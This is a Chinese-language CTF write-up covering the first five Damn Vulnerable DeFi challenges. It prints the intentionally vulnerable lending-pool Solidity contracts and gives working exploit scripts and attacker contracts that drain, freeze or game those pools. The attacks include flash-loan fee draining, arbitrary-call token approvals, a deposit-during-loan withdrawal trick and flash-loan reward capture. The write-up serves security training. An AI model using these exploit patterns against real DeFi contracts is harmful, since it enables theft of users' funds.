Damn Vulnerable DeFi靶场实战(1-5)

Unstoppable

分析

题目要求:

There’s a lending pool with a million DVT tokens in balance, offering
flash loans for free.

If only there was a way to attack and stop the pool from offering
flash loans …

You start with 100 DVT tokens in balance.

题目给了一个闪电贷合约,要求我们停止这个闪电贷合约继续运行。
闪电贷合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

interface IReceiver {
    
    
    function receiveTokens(address tokenAddress, uint256 amount) external;
}

/**
 * @title UnstoppableLender
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract UnstoppableLender is ReentrancyGuard {
    
    

    IERC20 public immutable damnValuableToken;
    uint256 public poolBalance;

    constructor(address tokenAddress) {
    
    
        require(tokenAddress != address(0), "Token address cannot be zero");
        damnValuableToken = IERC20(tokenAddress);
    }

    function depositTokens(uint256 amount) external nonReentrant {
    
    
        require(amount > 0, "Must deposit at least one token");
        // Transfer token from sender. Sender must have first approved them.
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        poolBalance = poolBalance + amount;
    }

    function flashLoan(uint256 borrowAmount) external nonReentrant {
    
    
        require(borrowAmount > 0, "Must borrow at least one token");

        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        // Ensured by the protocol via the `depositTokens` function
        assert(poolBalance == balanceBefore);
        
        damnValuableToken.transfer(msg.sender, borrowAmount);
        
        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
        
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

合约拥有两个函数,并使用了名为“DVT”的ERC20代币。
DVT代币合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

/**
 * @title DamnValuableToken
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract DamnValuableToken is ERC20 {
    
    

    // Decimals are set to 18 by default in `ERC20`
    constructor() ERC20("DamnValuableToken", "DVT") {
    
    
        _mint(msg.sender, type(uint256).max);
    }
}

合约创造之初就给了创造者最多的代币,而我们需要让这些代币失效,也就是不能进行使用。

UnstoppableLender.sol合约中定义了两个函数,depositTokens和flashloan,前者用来向合约增加代币,后者则是闪电贷函数,其中又限定了调用者满足IReceiver接口,因此借贷者也应该是一个合约,题目也给出了借贷者的合约。

借贷者合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/**
 * @title ReceiverUnstoppable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ReceiverUnstoppable {
    
    

    UnstoppableLender private immutable pool;
    address private immutable owner;

    constructor(address poolAddress) {
    
    
        pool = UnstoppableLender(poolAddress);
        owner = msg.sender;
    }

    // Pool will call this function during the flash loan
    function receiveTokens(address tokenAddress, uint256 amount) external {
    
    
        require(msg.sender == address(pool), "Sender must be pool");
        // Return all tokens to the pool
        require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
    }

    function executeFlashLoan(uint256 amount) external {
    
    
        require(msg.sender == owner, "Only owner can execute flash loan");
        pool.flashLoan(amount);
    }
}

该合约只有两个函数,一个函数用来将借到的通证返还给闪电贷合约,另一个函数用来向闪电贷合约借通证,并限制借贷者只能是owner。
我们来分析一下闪电贷合约中的几个限制条件的含义分别是什么。

  • require(borrowAmount > 0, "Must borrow at least one token");此项防止无意义的借贷,确保每次运行确实进行借贷了
  • require(balanceBefore >= borrowAmount, "Not enough tokens in pool");此项是确保有足够的通证余额进行借贷
  • assert(poolBalance == balanceBefore);此项是为了保证合约中现在的通证,与之前的通证相同
  • require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");此项是为了确保借贷者合约将通证进行了返还

我们注意到函数中的第三个限制条件,balanceBefore是合约现在的余额,而poolBalance是合约之间的余额,并且这个变量只在depositToken中进行了修改,但是我们并不仅仅只有这一种方法为合约增加通证,我们从这一点切入进行攻击。

攻击

攻击代码:

it('Exploit', async function () {
    
    
        /** CODE YOUR EXPLOIT HERE */
            await this.token.transfer(this.pool.address,1)
    });

我们仅仅是在攻击区域增加了 await this.token.transfer(this.pool.address,1),为合约发送了一个DVT通证,这时合约的poolBalance并没有发生变化,但余额其实增加了1DVT,所以一旦想要再次借贷,poolBalance和balanceBefore并不相等,无法正常借贷。
在这里插入图片描述
攻击完成

Naive Receiver

分析

题目要求:

There’s a lending pool offering quite expensive flash loans of Ether,
which has 1000 ETH in balance.

You also see that a user has deployed a contract with 10 ETH in
balance, capable of interacting with the lending pool and receiveing
flash loans of ETH.

Drain all ETH funds from the user’s contract. Doing it in a single
transaction is a big plus

大意就是有一个高利贷的闪电贷合约,借贷池中有一千个eth,而用户拥有十个eth,我们要做的就是将用户的这十个ETH掏空。让我们来看看合约
闪电贷合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard {
    
    

    using Address for address;

    uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

    function fixedFee() external pure returns (uint256) {
    
    
        return FIXED_FEE;
    }

    function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
    
    

        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= borrowAmount, "Not enough ETH in pool");


        require(borrower.isContract(), "Borrower must be a deployed contract");
        // Transfer ETH and handle control to receiver
        borrower.functionCallWithValue(
            abi.encodeWithSignature(
                "receiveEther(uint256)",
                FIXED_FEE
            ),
            borrowAmount
        );
        
        require(
            address(this).balance >= balanceBefore + FIXED_FEE,
            "Flash loan hasn't been paid back"
        );
    }

    // Allow deposits of ETH
    receive () external payable {
    
    }
}

用户合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title FlashLoanReceiver
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FlashLoanReceiver {
    
    
    using Address for address payable;

    address payable private pool;

    constructor(address payable poolAddress) {
    
    
        pool = poolAddress;
    }

    // Function called by the pool during flash loan
    function receiveEther(uint256 fee) public payable {
    
    
        require(msg.sender == pool, "Sender must be pool");

        uint256 amountToBeRepaid = msg.value + fee;

        require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
        
        _executeActionDuringFlashLoan();
        
        // Return funds to pool
        pool.sendValue(amountToBeRepaid);
    }

    // Internal function where the funds received are used
    function _executeActionDuringFlashLoan() internal {
    
     }

    // Allow deposits of ETH
    receive () external payable {
    
    }
}

闪电贷中的借贷函数,也就是flashLoan有一点很吸引我的注意,就是他的借贷者并不是msg.sender,而是传入的参数borrower,这就很有意思了,这意味着我可以不停帮你借,如果你没有任何收益的话,你就得不停的偿还利息。知道这一点后我们可以看看用户合约。
用户合约中的receiveEther函数确实没有产生任何收益,所以我可以通过这种方式掏空用户的资产。

攻击

攻击合约:

it('Exploit', async function () {
    
    
        /** CODE YOUR EXPLOIT HERE */   
        for (i=0;i<10;i++){
    
    
            await this.pool.flashLoan(this.receiver.address,1);
        }
    });

也就是遍历十次,为用户合约借十次钱,就能把用户余额掏空。
在这里插入图片描述
运行函数完成攻击。

Truster

分析

题目要求

More and more lending pools are offering flash loans. In this case, a
new pool has launched that is offering flash loans of DVT tokens for
free.

Currently the pool has 1 million DVT tokens in balance. And you have
nothing.

But don’t worry, you might be able to take them all from the pool. In
a single transaction.

意思就是有一个新的提供"DVT"借款的闪电贷合约启动了,他有一百万的余额,而我们一无所有,需要我们将闪电贷合约的一百万余额全部拿走。
闪电贷合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {
    
    

    using Address for address;

    IERC20 public immutable damnValuableToken;

    constructor (address tokenAddress) {
    
    
        damnValuableToken = IERC20(tokenAddress);
    }

    function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    )
        external
        nonReentrant
    {
    
    
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        
        damnValuableToken.transfer(borrower, borrowAmount);
        target.functionCall(data);
    
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

}

题目只给了这一个合约,那么毫无疑问我们肯定需要从这个合约入手,我们可以看到他的两个require分别对余额是否充足,以及是否进行归还都进行了限制,那么我们的攻击入口就只剩下了 target.functionCall(data)这一句,这一个call调用让我们可以干很多事情,我们从这一点开始攻击。

攻击

攻击合约:

it('Exploit', async function () {
    
    
        /** CODE YOUR EXPLOIT HERE  */
        const data = web3.eth.abi.encodeFunctionCall(
            {
    
    
                name: 'approve',
                type: 'function',
                inputs: [
                    {
    
    
                        type: 'address',
                        name: 'addr'
                    },
                    {
    
    
                        type: 'uint256',
                        name: 'amount'
                    }
                ]
            },[attacker.address, TOKENS_IN_POOL]
        );
        await this.pool.connect(attacker).flashLoan(0, attacker.address, this.token.address, data);
        await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);
    });

我解释一下这些代码的含义,const data = web3.eth.abi.encodeFunctionCall,这个函数是为了生成我们的data,使在进行target.FunctionCall时能调用到我们想要的函数。
攻击思路也很简单,因为是从闪电贷合约中进行调用的,所以在call中调用token的approve函数,就会使闪电贷合约给attacker地址授权转账,再调用transferFrom即可。
在这里插入图片描述
两个connect的目的是为了让我们以attacker的账户进行攻击,这样每次调用前就会指定进行交互的外部账户。
在这里插入图片描述
执行脚本,完成攻击。

Side entrance

分析

题目要求

A surprisingly simple lending pool allows anyone to deposit ETH, and
withdraw it at any point in time.

This very simple lending pool has 1000 ETH in balance already, and is
offering free flash loans using the deposited ETH to promote their
system.

You must take all ETH from the lending pool.

大意就是说有一个借贷池正在提供闪电贷,有一千ETH余额,需要我们将它们全部拿到手。
借贷池:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";

interface IFlashLoanEtherReceiver {
    
    
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    
    
    using Address for address payable;

    mapping (address => uint256) private balances;

    function deposit() external payable {
    
    
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
    
    
        uint256 amountToWithdraw = balances[msg.sender];
        balances[msg.sender] = 0;
        payable(msg.sender).sendValue(amountToWithdraw);
    }

    function flashLoan(uint256 amount) external {
    
    
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Not enough ETH in balance");
        
        IFlashLoanEtherReceiver(msg.sender).execute{
    
    value: amount}();

        require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");        
    }
}
 

题目只给了这个合约,这个合约包含三个函数,存,取和借,flashloan函数中限制了借的钱以及是否归还,并且调用者必须满足IFlashLoanEtherReceiver接口,因此调用者必须是一个合约,且满足此接口,那么execute函数则是我们可以自己定义的。
那么如果我们在execute函数中将借来的ETH再存进去,是否就可以绕开 require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");呢,且我们的balance增加就可以直接取出来。

攻击

攻击合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "./SideEntranceLenderPool.sol";
contract sideEntranceLenderAttack{
    
    
    using Address for address payable;
    SideEntranceLenderPool public pool;
    constructor(address _addr)public{
    
    
        pool = SideEntranceLenderPool(_addr);
    }
    function execute()external payable{
    
    
        pool.deposit{
    
    value:msg.value}();
    }
    function attack(uint256 amount)public payable{
    
    
        pool.flashLoan(amount);
    }
    function withdraw()public payable{
    
    
        pool.withdraw();
        payable(msg.sender).send(address(this).balance);
    }
    fallback()external payable{
    
    

    }
}

js攻击合约:

it('Exploit', async function () {
    
    
        /** CODE YOUR EXPLOIT HERE */
        const SideEntranceLenderAttackFactory = await ethers.getContractFactory("sideEntranceLenderAttack",attacker)
        const attack = await SideEntranceLenderAttackFactory.deploy(this.pool.address)

        await attack.connect(attacker).attack(ETHER_IN_POOL)
        await attack.connect(attacker).withdraw()
    });

我们编写sideEntranceLenderAttack合约,并把他放在contract目录下,然后再js文件中部署该合约。随后进行攻击,第一步调用attack函数借钱,触发execute存钱后成功调用,在进行第二步取钱即可。
在这里插入图片描述
执行脚本,完成攻击。

The rewarder

分析

题目要求:

There’s a pool offering rewards in tokens every 5 days for those who
deposit their DVT tokens into it.

Alice, Bob, Charlie and David have already deposited some DVT tokens,
and have won their rewards!

You don’t have any DVT tokens. But in the upcoming round, you must
claim most rewards for yourself.

Oh, by the way, rumours say a new pool has just landed on mainnet.
Isn’t it offering DVT tokens in flash loans?

大意是有一个矿池,每五天为在他们这存DVT代币的人一些奖励,而我们没有DVT代币,却也希望得到奖励。
题目给了四个合约
矿池:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./RewardToken.sol";
import "../DamnValuableToken.sol";
import "./AccountingToken.sol";

/**
 * @title TheRewarderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)

 */
contract TheRewarderPool {
    
    

    // Minimum duration of each round of rewards in seconds
    uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;

    uint256 public lastSnapshotIdForRewards;
    uint256 public lastRecordedSnapshotTimestamp;

    mapping(address => uint256) public lastRewardTimestamps;

    // Token deposited into the pool by users
    DamnValuableToken public immutable liquidityToken;

    // Token used for internal accounting and snapshots
    // Pegged 1:1 with the liquidity token
    AccountingToken public accToken;
    
    // Token in which rewards are issued
    RewardToken public immutable rewardToken;

    // Track number of rounds
    uint256 public roundNumber;

    constructor(address tokenAddress) {
    
    
        // Assuming all three tokens have 18 decimals
        liquidityToken = DamnValuableToken(tokenAddress);
        accToken = new AccountingToken();
        rewardToken = new RewardToken();

        _recordSnapshot();
    }

    /**
     * @notice sender must have approved `amountToDeposit` liquidity tokens in advance
     */
    function deposit(uint256 amountToDeposit) external {
    
    
        require(amountToDeposit > 0, "Must deposit tokens");
        
        accToken.mint(msg.sender, amountToDeposit);
        distributeRewards();
  
        require(
            liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
        );
    }

    function withdraw(uint256 amountToWithdraw) external {
    
    
        accToken.burn(msg.sender, amountToWithdraw);
        require(liquidityToken.transfer(msg.sender, amountToWithdraw));
    }

    function distributeRewards() public returns (uint256) {
    
    
        uint256 rewards = 0;

        if(isNewRewardsRound()) {
    
    
            _recordSnapshot();
        }        
        
        uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
        uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

        if (amountDeposited > 0 && totalDeposits > 0) {
    
    
            rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;

            if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
    
    
                rewardToken.mint(msg.sender, rewards);
                lastRewardTimestamps[msg.sender] = block.timestamp;
            }
        }

        return rewards;     
    }

    function _recordSnapshot() private {
    
    
        lastSnapshotIdForRewards = accToken.snapshot();
        lastRecordedSnapshotTimestamp = block.timestamp;
        roundNumber++;
    }

    function _hasRetrievedReward(address account) private view returns (bool) {
    
    
        return (
            lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
            lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
        );
    }

    function isNewRewardsRound() public view returns (bool) {
    
    
        return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
    }
}

也就是我们的主合约,我们可以看到,一旦我们往合约中存钱,也就是调用deposit,就会触发奖励哈数,如果距离上次奖励的天数过了五天,我们就可以得到奖励代币。
闪电贷:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";

/**
 * @title FlashLoanerPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)

 * @dev A simple pool to get flash loans of DVT
 */
contract FlashLoanerPool is ReentrancyGuard {
    
    

    using Address for address;

    DamnValuableToken public immutable liquidityToken;

    constructor(address liquidityTokenAddress) {
    
    
        liquidityToken = DamnValuableToken(liquidityTokenAddress);
    }

    function flashLoan(uint256 amount) external nonReentrant {
    
    
        uint256 balanceBefore = liquidityToken.balanceOf(address(this));
        require(amount <= balanceBefore, "Not enough token balance");

        require(msg.sender.isContract(), "Borrower must be a deployed contract");
        
        liquidityToken.transfer(msg.sender, amount);

        msg.sender.functionCall(
            abi.encodeWithSignature(
                "receiveFlashLoan(uint256)",
                amount
            )
        );

        require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
    }
}

基础的闪电贷合约,再给我们贷款后会触发我们的receiveFlashLoan函数,我们可以在这个函数内进行自己的操作并且需要将贷得的代币返回给闪电贷合约。
计数代币合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

/**
 * @title AccountingToken
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 * @notice A limited pseudo-ERC20 token to keep track of deposits and withdrawals
 *         with snapshotting capabilities
 */
contract AccountingToken is ERC20Snapshot, AccessControl {
    
    

    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
    bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
    bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");

    constructor() ERC20("rToken", "rTKN") {
    
    
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
        _setupRole(SNAPSHOT_ROLE, msg.sender);
        _setupRole(BURNER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
    
    
        require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");
        _mint(to, amount);
    }

    function burn(address from, uint256 amount) external {
    
    
        require(hasRole(BURNER_ROLE, msg.sender), "Forbidden");
        _burn(from, amount);
    }

    function snapshot() external returns (uint256) {
    
    
        require(hasRole(SNAPSHOT_ROLE, msg.sender), "Forbidden");
        return _snapshot();
    }

    // Do not need transfer of this token
    function _transfer(address, address, uint256) internal pure override {
    
    
        revert("Not implemented");
    }

    // Do not need allowance of this token
    function _approve(address, address, uint256) internal pure override {
    
    
        revert("Not implemented");
    }
}

顾名思义,只用来计数你向合约中存了多少钱,用于后面的奖励计数
奖励代币合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

/**
 * @title RewardToken
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 * @dev A mintable ERC20 with 2 decimals to issue rewards
 */
contract RewardToken is ERC20, AccessControl {
    
    

    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");

    constructor() ERC20("Reward Token", "RWT") {
    
    
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
    
    
        require(hasRole(MINTER_ROLE, msg.sender));
        _mint(to, amount);
    }
}

基础的ERC20合约,用来向用户发奖。
经过上面的分析,我们的思路已经很明确了,就是在闪电贷合约中借钱,然后存入矿池中,继而得到奖励代币,再将奖励代币发送给attacker,然后将钱返还给闪电贷合约,即可完成攻击。

攻击

攻击合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./RewardToken.sol";
import "../DamnValuableToken.sol";
import "./TheRewarderPool.sol";
import "./FlashLoanerPool.sol";

contract rewardAttack {
    
    
    RewardToken rewardTO;
    TheRewarderPool rewardPool;
    DamnValuableToken liquidToken;
    FlashLoanerPool flashPool;

    constructor(
        address rt,
        address rp,
        address lt,
        address fl
    ) public {
    
    
        rewardTO = RewardToken(rt);
        rewardPool = TheRewarderPool(rp);
        liquidToken = DamnValuableToken(lt);
        flashPool = FlashLoanerPool(fl);
    }

    function attack() public {
    
    
        uint256 amount = liquidToken.balanceOf(address(flashPool));
        flashPool.flashLoan(amount);
    }

    function receiveFlashLoan(uint256 amount) public {
    
    
        liquidToken.approve(address(rewardPool), amount);
        rewardPool.deposit(amount);
        rewardPool.withdraw(amount);
        liquidToken.transfer(address(flashPool), amount);
    }

    function complete() public {
    
    
        rewardTO.transfer(msg.sender, rewardTO.balanceOf(address(this)));
    }

    fallback() external payable {
    
    }
}

js攻击合约;

it('Exploit', async function () {
    
    
        /** CODE YOUR EXPLOIT HERE */
        await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);
        const RewardAttckFactory = await ethers.getContractFactory("rewardAttack",attacker)
        this.attackContract = await RewardAttckFactory.deploy(this.rewardToken.address,this.rewarderPool.address,this.liquidityToken.address,this.flashLoanPool.address);
        await this.attackContract.connect(attacker).attack();
        await this.attackContract.connect(attacker).complete();
        console.log(await this.rewardToken.balanceOf(attacker.address))
    });

按照我们的攻击思路走,在攻击合约中,先借出闪电贷合约的所有存款,随后在receiveFlashLoan函数中将存款存入矿池,得到奖励后从矿池中取出,再将存款返还给闪电贷合约。最后,调用complete函数将得到的奖励代币发送给attacker,即可完成攻击。
在这里插入图片描述
执行脚本,完成攻击。

猜你喜欢

转载自blog.csdn.net/m0_68764244/article/details/127555922